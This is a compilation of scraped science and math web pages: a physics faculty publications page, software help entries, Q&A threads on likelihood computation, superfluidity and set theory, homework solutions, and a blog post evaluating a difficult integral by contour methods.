A new class of observables is introduced which aims to characterize the superstructure of an event, that is, features, such as color flow, which are not determined by the jet four-momenta alone. Traditionally, an event is described as having jets which are independent objects; each jet has some energy, size, and possible substructure such as subjets or heavy flavor content. This description discards information connecting the jets to each other, which can be used to determine if the jets came from decay of a color- singlet object, or if they were initiated by quarks or gluons. An example superstructure variable, pull, is presented as a simple handle on color flow. It can be used on an event-by-event basis as a tool for distinguishing previously irreducible backgrounds at the Tevatron and the LHC.
#### From the Cover…
.. epigraph:: “Townsend has written an excellent book that someone needed to write for the modern physics textbook market. He has given it the same care that he gave to his excellent quantum mechanics book.” -- Jeff Dunham, Middlebury College .. epigraph:: “When I read this book I immediately adopted it for my sophomore modern physics class. This is the best introduction to quantum mechanics available.” -- B. Paul Padley, Rice University
# Recent Publications
Student authorFaculty author
71. L. M. Belova, James C. Eckert, J. J. L. Mulders, C. Christophersen, E. D. Dahlberg, and A. Riazanova Rapid electron beam assisted patterning of pure cobalt at elevated temperatures via seeded growth Nanotechnology 22 (2011) 145305. Andrew P. Higginbotham, Andrew J. Bernoff, Aaron M. Guillen, Thomas D. Donnelly, and Nathan Jones Evidence of the harmonic Faraday instability in ultrasonic atomization experiments with a deep, inviscid fluid Journal of the Acoustical Society of America 130 (2011) 2694-2699. Donna Phu, Lindsay S. Wray, Robert V. Warren, Richard Campbell Haskell, and Elizabeth Orwin Effect of Substrate Composition and Alignment on Corneal Cell Phenotype Tissue Engineering A 17 (2011) 799–807. Jason Gallicchio and Matthew D Schwartz Pure samples of quark and gluon jets at the LHC Journal of High Energy Physics 2011 (2011) . Jason Gallicchio and Matthew D Schwartz Quark and Gluon Tagging at the LHC Physical Review Letters 107 (2011) 172001. Joshua R. Puzey, Sharon Gerbode, Scott A. Hodges, Elena M. Kramer, and L. Mahadevan Evolution of spur-length diversity in Aquilegia petals is achieved solely through cell-shape anisotropy Proceedings of the Royal Society B 279 (2011) 1640-1645. Andrew P. Higginbotham, Thomas D. Donnelly, Shenda M. Baker, and Ian K. Wright Generation of Nanoparticles of Controlled Size Using Ultrasonic Piezoelectric Oscillators in Solution ACS Applied Materials and Interfaces 2 (2010) 2360-2364. Thomas McCaffree Helliwell Special Relativity University Science Books, Sausalito, 2010. Jason Gallicchio and Matthew D. Schwartz Seeing in Color: Jet Superstructure Physical Review Letters 105 (2010) 022001. John S. Townsend Quantum Physics: a Fundamental Approach to Modern Physics University Science Books, Sausalito, 2010.
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2022-12-04 04:37:02
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http://www.ni.com/documentation/en/labview-comms/1.0/node-ref/real-and-imaginary-to-polar/
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Converts the rectangular components of a complex number into its polar components.
This node converts the rectangular components to polar components using the following equations:
$r=\sqrt{{x}^{2}+{y}^{2}}$
$theta=\mathrm{arctan}2\left(y,x\right)\text{\hspace{0.17em}}radians$
x
The x rectangular component of x + yi. This input supports scalar numbers, arrays or clusters of numbers, and arrays of clusters of numbers.
Data Type Changes on FPGA
y
The y rectangular component of x + yi. This input supports scalar numbers, arrays or clusters of numbers, and arrays of clusters of numbers.
Data Type Changes on FPGA
r
The distance from the origin to the point. r has the same data type structure as x and y.
Data Type Changes on FPGA
theta
The angle for the line, r, from the origin to the point in radians. theta has the same data type structure as x and y.
Data Type Changes on FPGA
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2019-05-24 01:01:53
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https://www.gradesaver.com/textbooks/math/algebra/intermediate-algebra-for-college-students-7th-edition/chapter-1-section-1-1-algebraic-expressions-real-numbers-and-interval-notation-exercise-set-page-14/91
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## Intermediate Algebra for College Students (7th Edition)
$0.4$
The average resistance to happiness at age 30 is, $R=4.6-0.02(30)=4$. The average resistance to happiness at age 50 is, $R=4.6-0.02(50)=3.6$ The difference is $4-3.6=0.4$
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2019-11-22 00:21:11
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https://jp.maplesoft.com/support/help/maplesim/view.aspx?path=tensor(deprecated)/create&L=J
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tensor(deprecated)/create - Maple Help
tensor
create
create a new tensor_type object
Calling Sequence create( index_character, components)
Parameters
index_character - list of positive ones (1) and negative ones (-1) specifying the contravariant/covariant character of the indices of the new tensor components - components of the tensor: array for tensors of nonzero rank, an algebraic for zero-rank tensors
Description
Important: The tensor package has been deprecated. Use the superseding commands DifferentialGeometry[evalDG] and Physics[Define] instead.
• The function create([1,-1], compts_array) returns a tensor_type with "index_char" field set to [1,-1] and "compts" field set to compts_array (where compts_array is either an array or the name of an array).
• The contravariant indices (represented by 1) are those indices that appear as superscripts, whereas the covariant indices (represented by -1) are those that appear as subscripts.
• The function create([], a*b/(c+d)) returns a tensor_type representing a scalar (zero-rank tensor) with fields "index_char" and "compts" set to $\left[\right]$ and $\frac{ab}{c+d}$ respectively.
• When called, create checks its arguments for correct type and for the consistency between the index character and the components fields using a call to type/tensor_type. Upon passing those checks, the appropriate tensor_type is returned.
• Note that this function is not a necessity but is provided as a convenient way of create new tensors.
• This function is part of the tensor package, and so can be used in the form create(..) only after performing the command with(tensor), or with(tensor,create). This function can always be accessed in the long form tensor[create](..).
Examples
Important: The tensor package has been deprecated. Use the superseding commands DifferentialGeometry[evalDG] and Physics[Define] instead.
> $\mathrm{with}\left(\mathrm{tensor}\right):$
Create a 2-tensor of mixed character with components stored in the array "cmpts".
> $\mathrm{cmpts}≔\mathrm{array}\left(\left[\left[a,b,c\right],\left[d,e,f\right],\left[g,h,i\right]\right]\right)$
${\mathrm{cmpts}}{≔}\left[\begin{array}{ccc}{a}& {b}& {c}\\ {d}& {e}& {f}\\ {g}& {h}& {i}\end{array}\right]$ (1)
> $\mathrm{create}\left(\left[-1,1\right],\mathrm{cmpts}\right)$
${table}{}\left(\left[{\mathrm{index_char}}{=}\left[{-1}{,}{1}\right]{,}{\mathrm{compts}}{=}{\mathrm{cmpts}}\right]\right)$ (2)
Create a zero-rank tensor with "component" arctan(y/x).
> $\mathrm{create}\left(\left[\right],\mathrm{arctan}\left(\frac{y}{x}\right)\right)$
${table}{}\left(\left[{\mathrm{index_char}}{=}\left[\right]{,}{\mathrm{compts}}{=}{\mathrm{arctan}}{}\left(\frac{{y}}{{x}}\right)\right]\right)$ (3)
Create a 2-tensor of mixed character by directly entering the components.
> $\mathrm{create}\left(\left[-1,1\right],\mathrm{array}\left(\left[\left[a,b,c\right],\left[d,e,f\right],\left[g,h,i\right]\right]\right)\right)$
${table}{}\left(\left[{\mathrm{index_char}}{=}\left[{-1}{,}{1}\right]{,}{\mathrm{compts}}{=}\left[\begin{array}{ccc}{a}& {b}& {c}\\ {d}& {e}& {f}\\ {g}& {h}& {i}\end{array}\right]\right]\right)$ (4)
Create the contravariant Euclidean 3-space metric (2-tensor) in spherical-polar coordinates.
> $A≔\mathrm{create}\left(\left[1,1\right],\mathrm{array}\left(\left[\left[1,0,0\right],\left[0,\frac{1}{{r}^{2}},0\right],\left[0,0,\frac{1}{{r}^{2}{\mathrm{sin}\left(\mathrm{\theta }\right)}^{2}}\right]\right]\right)\right)$
${A}{≔}{table}{}\left(\left[{\mathrm{index_char}}{=}\left[{1}{,}{1}\right]{,}{\mathrm{compts}}{=}\left[\begin{array}{ccc}{1}& {0}& {0}\\ {0}& \frac{{1}}{{{r}}^{{2}}}& {0}\\ {0}& {0}& \frac{{1}}{{{r}}^{{2}}{}{{\mathrm{sin}}{}\left({\mathrm{\theta }}\right)}^{{2}}}\end{array}\right]\right]\right)$ (5)
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2022-10-07 10:10:59
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https://stats.stackexchange.com/questions/56724/computation-of-likelihood-when-n-is-very-large-so-likelihood-gets-very-small
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# Computation of likelihood when $n$ is very large, so likelihood gets very small?
I am trying to compute this posterior distribution:
$$(\theta|-)=\frac{\prod_{i=1}^{n}p_i^{y_i}(1-p_i)^{1-y_i}}{\sum_{\text{all}\,\theta,p_i|\theta}\prod_{i=1}^{n}p_i^{y_i}(1-p_i)^{1-y_i}}$$
The problem is that the numerator, which is the product of a bunch of $\text{Bernoulli}(p_i,y_i)$ probabilities is too small. (My $n$ is large, about 1500).
Hence, the posterior values for all $\theta$ all get calculated to be 0 (I am doing calculations in R).
To clarify, each $y_i$ has its own $p_i$, together these $p_i$'s make a vector of $n$ elements for $n$ $y$'s. Each $\theta$ has its own $n$-element vector of $p_i$.
EDIT: Adding a reproducing example (for the numerator)
p <- sample(seq(0,1,by=0.01), 1500, replace=T)
y <- sample(c(0,1), 1500, replace=T)
dbern(y, p) # 1500-element vector, each element is < 1
prod(dbern(y, p)) # produce 0
exp(sum(log(dbern(y, p)))) # produce 0 since the sum is very negative
• Did you try computing the sum of logs instead? – Ansari Apr 21 '13 at 3:33
• There's related discussion here. It has some additional discussion of some of the details of such calculations. – Glen_b May 3 '15 at 23:43
This is a common problem with computation of likelihoods for all manner of models; the kinds of things that are commonly done are to work on logs, and to use a common scaling factor that bring the values into a more reasonable range.
In this case, I'd suggest:
Step 1: Pick a fairly "typical" $\theta$, $\theta_0$. Divide the formula for both numerator and denominator of the general term by the numerator for $\theta = \theta_0$, in order to get something that will be much less likely to underflow.
Step 2: work on the log scale, this means that the numerator is an exp of sums of differences of logs, and the denominator is a sum of exp of sums of differences of logs.
NB: If any of your p's are 0 or 1, pull those out separately and don't take logs of those terms; they're easy to evaluate as is!
[In more general terms this scaling-and-working-on-the-log-scale can be seen as taking a set of log-likelihoods, $l_i$ and doing this: $\log(\sum_i e^{l_i})= c+\log(\sum_i e^{l_i−c})$. An obvious choice for $c$ is to make the largest term 0, which leaves us with: $\log(\sum_i e^{l_i})= \max_i(l_i)+\log(\sum_i e^{l_i−\max_i(l_i)})$. Note that when you have a numerator and denominator you could use the same $c$ for both, which will then cancel. In the above, that corresponds to taking the $\theta_0$ with the highest log-likelihood.]
The usual terms in the numerator will tend to be more moderate in size, and so in many situations the numerator and denominator are both relatively reasonable.
If there are a range of sizes in the denominator, add up the smaller ones before adding the larger ones.
If only a few terms dominate heavily, you should focus your attention on making the computation for those relatively accurate.
• But for all theta, the numerator always go to 0. How do I divide the general term by the numerator then? (Step 1) – Heisenberg Apr 22 '13 at 1:16
• Step 1 is algebra not computer calculation. Its purpose is to give you something in Step 2 to compute that doesn't underflow. Unless you're saying it's always algebraically zero... in which case you're doubtless doing something you ought not. – Glen_b Apr 22 '13 at 1:18
• okay -- I will give it a try. The numerator is not exactly 0, only very small that R cannot compute. Thanks! – Heisenberg Apr 22 '13 at 1:26
• Dear God, you are correct! Thank you so, so much. Everyone keeps saying "use log.likelihood" but only you really see the problem. – Heisenberg Apr 22 '13 at 5:16
Try capitalizing on the properties of using the logarithms and summation rather than taking the product of decimal numbers. Following the summation just use the anti-log to put it back into your more natural form. I think something like this should do the trick
$\frac{exp(\sum_{i}^{n}(y_{i}*log(p_{i})+(1-y_{i})*log(1-p_{i})))}{\sum_{g}exp(\sum_{i}^{n}y_{i}*log(p_{i})+(1-y_{i})*log(1-p_{i}))}$
• The numerator in your suggestion still produces a 0 since the sum within exp( ) is still very negative (< -1000). Am I doing anything wrong? Thanks for your help! – Heisenberg Apr 21 '13 at 3:51
• Well, if any value in p is actually 0 or 1 then automatically the log of it will produce -inf and so will log(1-p). Otherwise I think the numbers just becoming too small to be raised back to the original form. – philchalmers Apr 21 '13 at 3:59
• Note that you can add and subtract any constant $c$ from the terms inside the $\exp()$ the above expression without changing the result. setting $c$ equal to the negative of the maximum value of $\log(p(\theta|-))$ provides the best numerical accuracy – probabilityislogic Apr 22 '13 at 5:00
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2019-10-20 06:47:00
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https://learn.careers360.com/ncert/question-two-persons-manage-to-push-a-motorcar-of-mass-1200-kg-at-a-uniform-velocity-along-a-level-road-the-same-motorcar-can-be-pushed-by-three-persons-to-produce-an-acceleration-of-0-point-2-m-s-raise-to-minus-2-with-what-force-does-each-person-push-the-motorcar/
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# Q A2. Two persons manage to push a motorcar of mass 1200 kg at a uniform velocity along a level road. The same motorcar can be pushed by three persons to produce an acceleration of 0.2 m s-2. With what force does each person push the motorcar? (Assume that all persons push the motorcar with the same muscular effort.)
Answers (1)
D Devendra Khairwa
From the question, it is clear that two person pushes the car with constant velocity. But when the third person pushes it has some acceleration. Thus the third person is responsible for the acceleration generated.
Force by the third person is given by :
$F\ =\ ma$
$=\ 1200\times 0.2\ =\ 240\ N$
Hence the force from each man is 240 N.
Exams
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2020-04-06 03:18:15
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https://socratic.org/questions/when-cu-oh-2-is-heated-copper-ii-oxide-and-water-are-formed-how-would-you-write-
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# When Cu(OH)_2is heated, copper(II) oxide and water are formed. How would you write a balanced equation for the reaction?
$C u {\left(O H\right)}_{2} \left(s\right) + \Delta \rightarrow C u O \left(s\right) + {H}_{2} O \left(g\right)$
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2019-09-21 13:30:19
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http://residuetheorem.com/2013/11/16/a-crazy-ass-integral-the-evaluation-of-which-got-a-lot-of-love-at-math-se/
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## A crazy-ass integral, the evaluation of which got a lot of love at Math.SE
There are a lot of integrals posted at Math.SE. I attempt to evaluate quite a few of them. Many times, I fail spectacularly; you will typically not hear of those because I feel there is nothing to say. Occasionally, I succeed; of course, you will hear about those because I post and then post again here (when I remember). When I do post, sometimes it gets ignored (some of my best work got zero upvotes, or maybe one or two). Sometimes my posts get a lot of love. And then there’s the integral I evaluated the other day, courtesy of Laila Podlesny, who occasionally posts some hard integrals for us to evaluate.
I don’t normally comment on personal stuff, but I feel compelled here. For some weird reason that I do not yet fathom, the question has generated as of this writing over 10,000 views, and my answer got 102 upvotes, far more than anything I obtained before. I hope to learn what has been driving the enthusiasm here, but I certainly am not complaining. Anyway, without further ado, here is the problem and solution.
The problem is to evaluate the following integral:
$$I=\int_{-1}^1 dx \frac1x\sqrt{\frac{1+x}{1-x}}\ln\left(\frac{2\,x^2+2\,x+1}{2\,x^2-2\,x+1}\right)$$
Note the integrable singularity at $x=1$ and the removable singularity at $x=0$. I will show that the integral has a closed form, which is $4 \pi \text{arccot}{\sqrt{\phi}}$, where $\phi$ is the golden ratio.
I will transform the integral via a substitution, break it up into two pieces and recombine, perform an integration by parts, and perform another substitution to get an integral to which I know a closed form exists. From there, I use a method I know to attack the integral, but in an unusual way because of the 8th degree polynomial in the denominator of the integrand.
First sub $t=(1-x)/(1+x)$, $dt=-2/(1+x)^2 dx$ to get
$$2 \int_0^{\infty} dt \frac{t^{-1/2}}{1-t^2} \log{\left (\frac{5-2 t+t^2}{1-2 t +5 t^2} \right )}$$
Now use the symmetry from the map $t \mapsto 1/t$. Break the integral up into two as follows:
$$2 \int_0^{1} dt \frac{t^{-1/2}}{1-t^2} \log{\left (\frac{5-2 t+t^2}{1-2 t +5 t^2} \right )} + 2 \int_1^{\infty} dt \frac{t^{-1/2}}{1-t^2} \log{\left (\frac{5-2 t+t^2}{1-2 t +5 t^2} \right )} \\ = 2 \int_0^{1} dt \frac{t^{-1/2}}{1-t^2} \log{\left (\frac{5-2 t+t^2}{1-2 t +5 t^2} \right )} + 2 \int_0^{1} dt \frac{t^{1/2}}{1-t^2} \log{\left (\frac{5-2 t+t^2}{1-2 t +5 t^2} \right )} \\ = 2 \int_0^{1} dt \frac{t^{-1/2}}{1-t} \log{\left (\frac{5-2 t+t^2}{1-2 t +5 t^2} \right )}$$
Sub $t=u^2$ to get
$$4 \int_0^{1} \frac{du}{1-u^2} \log{\left (\frac{5-2 u^2+u^4}{1-2 u^2 +5 u^4} \right )}$$
Integrate by parts:
$$\left [2 \log{\left (\frac{1+u}{1-u} \right )} \log{\left (\frac{5-2 u^2+u^4}{1-2 u^2 +5 u^4} \right )}\right ]_0^1 \\- 32 \int_0^1 du \frac{\left(u^5-6 u^3+u\right)}{\left(u^4-2 u^2+5\right) \left(5 u^4-2 u^2+1\right)} \log{\left (\frac{1+u}{1-u} \right )}$$
One last sub: $u=(v-1)/(v+1)$ $du=2/(v+1)^2 dv$, and finally get
$$8 \int_0^{\infty} dv \frac{(v^2-1)(v^4-6 v^2+1)}{v^8+4 v^6+70v^4+4 v^2+1} \log{v}$$
With this form, we may finally conclude that a closed form exists and apply the residue theorem to obtain it. To wit, consider the following contour integral:
$$\oint_C dz \frac{8 (z^2-1)(z^4-6 z^2+1)}{z^8+4 z^6+70z^4+4 z^2+1} \log^2{z}$$
where $C$ is a keyhole contour about the positive real axis. This contour integral is equal to (I omit the steps where I show the integral vanishes about the circular arcs)
$$-i 4 \pi \int_0^{\infty} dv \frac{8 (v^2-1)(v^4-6 v^2+1)}{v^8+4 v^6+70v^4+4 v^2+1} \log{v} + 4 \pi^2 \int_0^{\infty} dv \frac{8 (v^2-1)(v^4-6 v^2+1)}{v^8+4 v^6+70v^4+4 v^2+1}$$
It should be noted that the second integral vanishes; this may be easily seen by exploiting the symmetry about $v \mapsto 1/v$.
On the other hand, the contour integral is $i 2 \pi$ times the sum of the residues about the poles of the integrand. In general, this requires us to find the zeroes of the eight degree polynomial, which may not be possible analytically. Here, on the other hand, we have many symmetries to exploit, e.g., if $a$ is a root, then $1/a$ is a root, $-a$ is a root, and $\bar{a}$ is a root. For example, we may deduce that
$$z^8+4 z^6+70z^4+4 z^2+1 = (z^4+4 z^3+10 z^2+4 z+1) (z^4-4 z^3+10 z^2-4 z+1)$$
which exploits the $a \mapsto -a$ symmetry. Now write
$$z^4+4 z^3+10 z^2+4 z+1 = (z-a)(z-\bar{a})\left (z-\frac{1}{a}\right )\left (z-\frac{1}{\bar{a}}\right )$$
Write $a=r e^{i \theta}$ and get the following equations:
$$\left ( r+\frac{1}{r}\right ) \cos{\theta}=-2$$
$$\left (r^2+\frac{1}{r^2}\right) + 4 \cos^2{\theta}=10$$
From these equations, one may deduce that a solution is $r=\phi+\sqrt{\phi}$ and $\cos{\theta}=1/\phi$, where $\phi=(1+\sqrt{5})/2$ is the golden ratio. Thus the poles take the form
$$z_k = \pm \left (\phi\pm\sqrt{\phi}\right) e^{\pm i \arctan{\sqrt{\phi}}}$$
Now we have to find the residues of the integrand at these 8 poles. We can break this task up by computing:
$$\sum_{k=1}^8 \operatorname*{Res}_{z=z_k} \left [\frac{8 (z^2-1)(z^4-6 z^2+1) \log^2{z}}{z^8+4 z^6+70z^4+4 z^2+1}\right ]=\sum_{k=1}^8 \operatorname*{Res}_{z=z_k} \left [\frac{8 (z^2-1)(z^4-6 z^2+1)}{z^8+4 z^6+70z^4+4 z^2+1}\right ] \log^2{z_k}$$
Here things got very messy, but the result is rather unbelievably simple:
$$\operatorname*{Res}_{z=z_k} \left [\frac{8 (z^2-1)(z^4-6 z^2+1)}{z^8+4 z^6+70z^4+4 z^2+1}\right ] = \text{sgn}[\cos{(\arg{z_k})}]$$
That is, if the pole has a positive real part, the residue of the fraction is $+1$; if it has a negative real part, the residue is $-1$.
Now consider the log piece. Expanding the square, we get 3 terms:
$$\log^2{|z_k|} – (\arg{z_k})^2 + i 2 \log{|z_k|} \arg{z_k}$$
Summing over the residues, we find that because of the $\pm1$ contributions above, that the first and third terms sum to zero. This leaves the second term. For this, it is crucial that we get the arguments right, as $\arg{z_k} \in [0,2 \pi)$. Thus, we have
\begin{align}I= \int_0^{\infty} dv \frac{8 (v^2-1)(v^4-6 v^2+1)}{v^8+4 v^6+70v^4+4 v^2+1} \log{v} &= \frac12 \sum_{k=1}^8 \text{sgn}[\cos{(\arg{z_k})}] (\arg{z_k})^2 \\ &= \frac12 [2 (\arctan{\sqrt{\phi}})^2 + 2 (2 \pi – \arctan{\sqrt{\phi}})^2 \\ &- 2 (\pi – \arctan{\sqrt{\phi}})^2 – 2 (\pi + \arctan{\sqrt{\phi}})^2]\\ &= 2 \pi^2 -4 \pi \arctan{\sqrt{\phi}} \\ &= 4 \pi \, \text{arccot}{\sqrt{\phi}}\\\end{align}
which is what we wanted to show.
There is a generalization of course, which integral wizard s0s440 pointed out:
$$I(r, s) = \int_{-1}^{1} dx \frac{1}{x}\sqrt{\frac{1+x}{1-x}} \log \left( \frac{(r-1)x^{2} + sx + 1}{(r-1)x^{2} – sx + 1} \right) = 4 \pi \operatorname{arccot} \sqrt{ \frac{2r + 2\sqrt{r^{2} – s^{2}}}{s^{2}} – 1}$$
which may easily be shown (OK, not that easily) using the methods outline above.
#### 9 Comments
• It got so much attention because it was posted on Reddit with the title “Master of Integration”:
http://www.reddit.com/r/math/comments/1qpus4/master_of_integration/
A lot of people, including me, can read and understand the individual steps but can only marvel at how one can be so skilled in integrating to be able to come up with this solution. It seems to me like it requires an intuition about which steps to take, which substitutions to perform, etc, far beyond what many of us could ever hope to achieve.
• rlgordonma@yahoo.com wrote:
Mark,
Thank you so much for that – that solves a big mystery for me! I was wondering how on earth this particular one got so many page views. Not that I am complaining, of course.
As far as how I got there, the solution took me about 12 hours of effort. There was a lot of stumbling around and compromise – I think there has to be a simpler way because of all the symmetry. Anyway, I do have particular tools that I like to use, and for me, the puzzle of integration is one of transformation of an integral into a form that you can deal with via, e.g., the residue theorem. In this case, an integral of the form f(x) log(x) from 0 to infinity would do nicely, but it took a lot of work to get there. Once I got there, and I saw the x -> 1/x symmetry, I knew I had a winner.
I really hope that I have given people some new tricks for evaluating monster integrals. I do this for relaxation, believe it or not, the way some people do crossword puzzles. It’s really great to come to a simple solution to an eye-popping integral like this; it makes it even better when folks like you appreciate what I’ve done.
• Thanks Ron.
When you say “I do have particular tools that I like to use”, do you mean tools like Maple and Mathematica? Or mathematical “tools” like the residue theorem?
If you do only use pen and paper, I’d be curious to know how many pages of scribbling (including attempts that led nowhere) this took.
I do believe you that you do this as relaxation, I like to do IMO problems myself. But only the combinatorics ones, as you can do those almost 100% in your head, no need to “calculate” much, very low chance of mistakes. I highly doubt one can solve integrals like this in one’s head.
• rlgordonma@yahoo.com wrote:
Mark,
By “tools”, I mean the residue theorem, Plancherel/Parseval and other transform techniques, differentiation under the integral, etc etc. I have a copy of Mathematica which I use to check my results. But I only post stuff that I have worked out by hand, period. The whole point of the exercise is to understand the mathematics, not impress people with some result. (Thankfully people seem impressed with the steps; that makes me very happy.) How many pages was that one? No idea, perhaps half a pad of paper? Lots of x’s, scribbles,…my thesis advisor taught me to work in pen so I could see all of my mistakes. Best advice ever. (Meanwhile, my son’s teacher threatened to take marks off for using pen. Words will be exchanged on that.) But another major part of all of this is communicating the result. This takes time, too, and is really important; otherwise, your effort is for naught. So I invested a lot of my own free time in posting that result. And believe me, I am very OK with it. Reading that Reddit page was very surreal – but very nice that at least one person learned something from the whole mish-mash. Good stuff.
• You are indeed a genius, RG. Your incredible skill with contours is amazing. I could never learn to do that if I live to be a thousand. 🙂
Cody
• rlgordonma@yahoo.com wrote:
Hey Cody. Have more faith in yourself than that.
• Confused Soul wrote:
Probably the most ridiculous post! In a good way of course 🙂 Congrats! I think one can generate an interesting book from the answers you have posted with (integration) tag. It would be called “Ron’s Integration Powers”.
• Ron, long time reader first time commenter. I do not understand the step where you consider the symmetry from the map t to 1/t, and have seen you use it quite often. Do you have any useful links to understand this I tried good old google but only get integration of odd and even functions. Thank you for Igniting a passion to solve integrals and learn complex analysis a month before beginning an introductory course at university.
• rlgordonma@yahoo.com wrote:
bryce, you are very welcome. I am so glad to have played some sort of role in your learning; I hope you yourself can inspire others. Anyway, to answer your question, I do not have a good reference. It’s one of those things I am sure is common but is not widely taught. The map t -> 1/t is used to change an interval of integration from [1,Infinity) to (0,1). In our case, we had [0,Infinity], which I split into [0,1] + [1,Infinity). Then I applied the transformation to the integral over (1,Infinity) to get two integrals over [0,1]. I was lucky to see that the integrals then combined to make a single, simple integral. Complex analysis merely makes the set of forms we can evaluate that much bigger; it is the most beautiful subject in my opinion, enjoy!
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2018-01-22 19:56:58
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http://physics.stackexchange.com/questions/55105/why-arent-all-quantum-systems-superfluids
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# Why aren't all quantum systems superfluids
Simply I was just wandering why aren't all quantum systems (F-D and BE condensates) superfluids at low temp like He 3 and 4?
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Out of curiosity, could you expand on why you might think they should be in your question? Also, are you really referring to ALL quantum systems or just FD/BE condensates? Strictly speaking as far as we know everything in the universe can be regarded as a quantum system... – joshphysics Feb 25 '13 at 23:22
well why aren't all Bose-Einstein condensates super-fluids at low types, i.e why is it only He 3 and 4, not say argon for example that become super fluids at low temps? – user21119 Feb 25 '13 at 23:28
Fermi-Dirac and Bose-Einstein condensates do indeed share many of the striking features of superfluids like liquid helium, though as wikipedia will tell you the concepts overlap but are not identical.
My favourite superfluid aspect of atom clouds is the formation of quantized vortices when they are spun: the angular momentum will go into creating many $L=\hbar$ vortices instead of the whole thing rotating together.
Isn't that just fantastic? (note also that it took until 2006 to visualize quantized vortices in helium.)
Other features make less sense. Rollin film creeping, for example, makes little sense for a typical cloud of cold atoms, as it's trapped by light and there is no container to get out of. Filtering through porous materials would destroy a cloud condensate by heating alone.
Seen from the other side, why is only helium superfluid when cooled sufficiently? There I'm less sure, but all (most?) other materials will solidify before that; I understand that helium will not freeze at low pressures as the zero-point energy of the lattice would be enough to melt it. (Wikipedia confirms this.)
Other than that, it depends on exactly what you mean by your question.
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The basic reason is that superfluidity (which also includes superconductivity) is assumed by a system when thermal de Broglie wave length ($\lambda_T$) of its particles become larger than inter-particle separation $d$ and when it happens the system should be in its fluid state. Calculations of $\lambda_T$ for the fluid state of all systems (except for liquids $^4$He and $^3$He) reveal that $\lambda_T$ falls far short of their $d$ and if we cool these systems to have an increase in $\lambda_T$, they become solid before they achieve $\lambda_T > d$. Only two liquids that are found to satisfy the said condition are liquids $^4$He and $^3$He and they become superfluid, respectively, at 2.17 K and .93 mK. Conventional theories of superfluidity are not only highly complex in their mathematical formulation but are based on certain premises that are fundamentally erroneous; this has been unequivocally proved in the following papers.
In what follows, quantum field theories of superfluidity and superconductivity (including BCE theory) or similar other theories developed by using other mathematical techniques failed to account for these phenomena completely , clearly and consistently in agreement with experiments in spite of many efforts made over the last several decades.
On the other hand a simple non-conventional theory of superfluidity explains the behaviour of superfluid $^4$He and similar systems (such as trapped dilute gases) to a very good accuracy at quantitative scale; the theory is reported in
http://article.sapub.org/pdf/10.5923.j.ajcmp.20120202.02.pdf
(Amer. J Conden. Matter Phys. 2, 32-52 (2012)
You may look into these papers for a detailed answer to every question that you have in relation to superfluidity. However, if you have any other question that is not answered here please write to me at my email address given these papers.
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Dear user30281: Are you in any way related to the author of the links? For your information, Physics.SE has a policy that it is OK to cite oneself, but it should be stated clearly and explicitly in the answer itself. – Qmechanic Sep 30 '13 at 15:09
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2015-11-30 15:28:43
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http://tug.org/pipermail/texhax/2005-May/004124.html
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# [texhax] Re: texhax Digest, Vol 2005, Issue 152
Chris Bourke cbourke at cse.unl.edu
Sat May 28 04:21:02 CEST 2005
```Well, that's your problem. I believe that the conversion from ps->pdf
loses the hyperlink functionality. Since everything compiles without
error, theeer are no latex/installation problems (I assume). Instead, use
pdflatex to directly produce a pdf file, and you'll have your hyperlinks.
Otherwise, you may be able to use dvipdf to directly convert from dvi to
pdf.
> I have WinEdt 5.2, and to compile, I run LaTeX twice, then dvi->ps and
finall\$
> ps->pdf. The document will compile and open fine, but will not have any
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2017-12-13 09:27:06
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https://www.physicsforums.com/threads/proving-existence-uniqueness-of-a-set.767312/
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# Proving Existence/Uniqueness of a Set.
1. Aug 24, 2014
### pandaBee
1. The problem statement, all variables and given/known data
Let U be any set.
(a) Prove that for every A ∈ P (U) there is a unique B ∈ P (U) such
that for every C ∈ P (U), C \ A = C ∩ B.
Remark: P(U) = the Power set of U, i.e. A ∈ P (U) then A⊆U
2. Relevant equations
3. The attempt at a solution
The question's form is as follows:
∀A(A∈P(U)⇒∃!B(Q(B)))
Where Q(B) = B∈P(U)∧∀C(C∈P(U)⇒C\A=C∩B)
I first let A be an arbitrary element, then
A∈P(U)⇒∃!B(Q(B))
Suppose A⊆U, then I want to prove ∃!B(Q(B))
Existence: I want to prove ∃B(Q(B))
Uniqueness: I want to prove that, ∀r∀s(Q(r)∧(Q(s)⇒r=s)
To find a B such that Q(B) is true, I consider all subsets of U and their relation to A in order to find a suitable B using the hint C\A=C∩B
Let u be an arbitrary subset of U
Since both A and the subsets of U are both subsets of U, then there are two possibilities: either A∩u=∅∨A∩u≠∅
In the first case u\A is just u, therefore B can be any set such that u⊆B since u∩B=u =u\A
In the second case u\A = some subset of u, say u’ since u∩A≠∅. We want to find the choices for B such that u∩B = u’. Therefore B can be any set that does not contain u∩A and contains u’; For example: U\A, or U\(u∩A)
Even considering these choices for B, I cannot narrow it down to a choice where B satisfies Q(B) since the possibilities for B in both cases are case-specific and do not apply to both cases. This is where I’m stuck, any hints or even the solution would be much appreciated. I feel like I’m overlooking something simple and that I might be over-complicating things.
2. Aug 24, 2014
### pasmith
Your statement here is simply "either A is empty or it isn't".
The best way to prove existence of B is to find a B which works. So consider B = U \ A. Then for any subset C, we can partition C into disjoint subsets $C \cap A$ and $C \cap B$. Then $C \setminus A = C \cap B$ as required.
It remains to show that B = U \ A is the only possibility. That's straightforward: $C \setminus A = C \cap B$ must hold for all $C \subset U$, so in particular it holds for $C = U$.
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2017-08-19 15:51:38
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https://www.jobilize.com/course/section/problems-exercises-relativistic-energy-by-openstax?qcr=www.quizover.com
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# 28.6 Relativistic energy (Page 7/12)
Page 7 / 12
A photon decays into an electron-positron pair. What is the kinetic energy of the electron if its speed is $0.992c$ ?
$\begin{array}{lll}{\text{KE}}_{\text{rel}}& =& \left(\gamma -1\right){\mathrm{mc}}^{2}=\left(\frac{1}{\sqrt{1-\frac{{v}^{2}}{{c}^{2}}}}-1\right){\mathrm{mc}}^{2}\\ & =& \left(\frac{1}{\sqrt{1-\frac{\left(\text{0.992}c{\right)}^{2}}{{c}^{2}}}}-1\right)\left(\text{9.11}×{\text{10}}^{-\text{31}}\phantom{\rule{0.25em}{0ex}}\text{kg}\right)\left(\text{3.00}×{\text{10}}^{8}\phantom{\rule{0.25em}{0ex}}\text{m/s}{\right)}^{2}=\text{5.67}×{\text{10}}^{-\text{13}}\phantom{\rule{0.25em}{0ex}}\text{J}\end{array}$
## Section summary
• Relativistic energy is conserved as long as we define it to include the possibility of mass changing to energy.
